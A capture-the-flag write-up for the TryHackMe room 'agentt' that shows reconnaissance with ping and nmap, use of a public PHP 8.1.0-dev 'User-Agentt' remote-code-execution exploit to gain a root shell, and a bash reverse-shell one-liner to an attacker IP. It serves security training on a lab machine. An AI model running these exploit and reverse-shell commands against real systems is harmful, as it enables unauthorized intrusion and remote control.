December 19, 20222 minutes

https://tryhackme.com/room/agentt

Attacker IP = 10.10.10.10

Target IP = 10.10.175.238

Reconnaissance#

First of all, we check whether the machine is up and which OS it runs

❯ ping -c 1 10.10.175.238
PING 10.10.175.238 (10.10.175.238) 56(84) bytes of data.
64 bytes from 10.10.175.238: icmp_seq=1 ttl=63 time=47.7 ms

--- 10.10.175.238 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 47.680/47.680/47.680/0.000 ms

In this case it returns a TTL (time to live) of 63, knowing that ttl=64: Linux / ttl=128: Windows. This machine is most likely Linux

Port scan (nmap)#

Now we start with a port scan

❯ sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.175.238 -oG allPort

With a function defined in .zshrc called extractPorts, we get the open ports in a more visual way

extractPorts function by @s4vitar

❯ extractPorts allPorts
───────┬─────────────────────────────────────────────────────────────────────────────────────────
       │ File: extractPorts.tmp
───────┼─────────────────────────────────────────────────────────────────────────────────────────
   1   │ 
   2   │ [*] Extracting information...
   3   │ 
   4   │     [*] IP Address: 10.10.175.238
   5   │     [*] Open ports: 80
   6   │ 
   7   │ [*] Ports copied to clipboard
   8   │ 
───────┴─────────────────────────────────────────────────────────────────────────────────────────

Now, with nmap, we try to find the versions of the services on those ports and run basic reconnaissance scripts

❯ nmap -p80 -sC -sV 10.10.175.238 -oN target

PORT   STATE SERVICE VERSION
80/tcp open  http    PHP cli server 5.5 or later (PHP 8.1.0-dev)
|_http-title:  Admin Dashboard

Foothold#

With searchsploit we can check whether the PHP version is vulnerable

❯ searchsploit PHP 8.1.0-dev

-------------------------------------------------------- ---------------------------------
 Exploit Title                                          |  Path
-------------------------------------------------------- ---------------------------------
PHP 8.1.0-dev - 'User-Agentt' Remote Code Execution     | php/webapps/49933.py
-------------------------------------------------------- ---------------------------------

There is a remote code execution exploit; with searchsploit -m 49933 we can copy it to our machine.

❯ python3 49933.py
Enter the full host url:
http://10.10.175.238

Interactive shell is opened on http://10.10.175.238 
Can't acces tty; job crontol turned off.
$ whoami
root

We now have an interactive shell as root, but we can’t leave the /var/www/html directory, so let’s try to get a reverse shell.

We start listening on port 443

nc -nlvp 443

We try to send ourselves the reverse shell with bash -i >& /dev/tcp/10.10.10.10/443 0>&1, but we don’t get anything. We try bash -c "bash -i >& /dev/tcp/10.10.10.10/443 0>&1" and now it works: we can read the flag in /flag.txt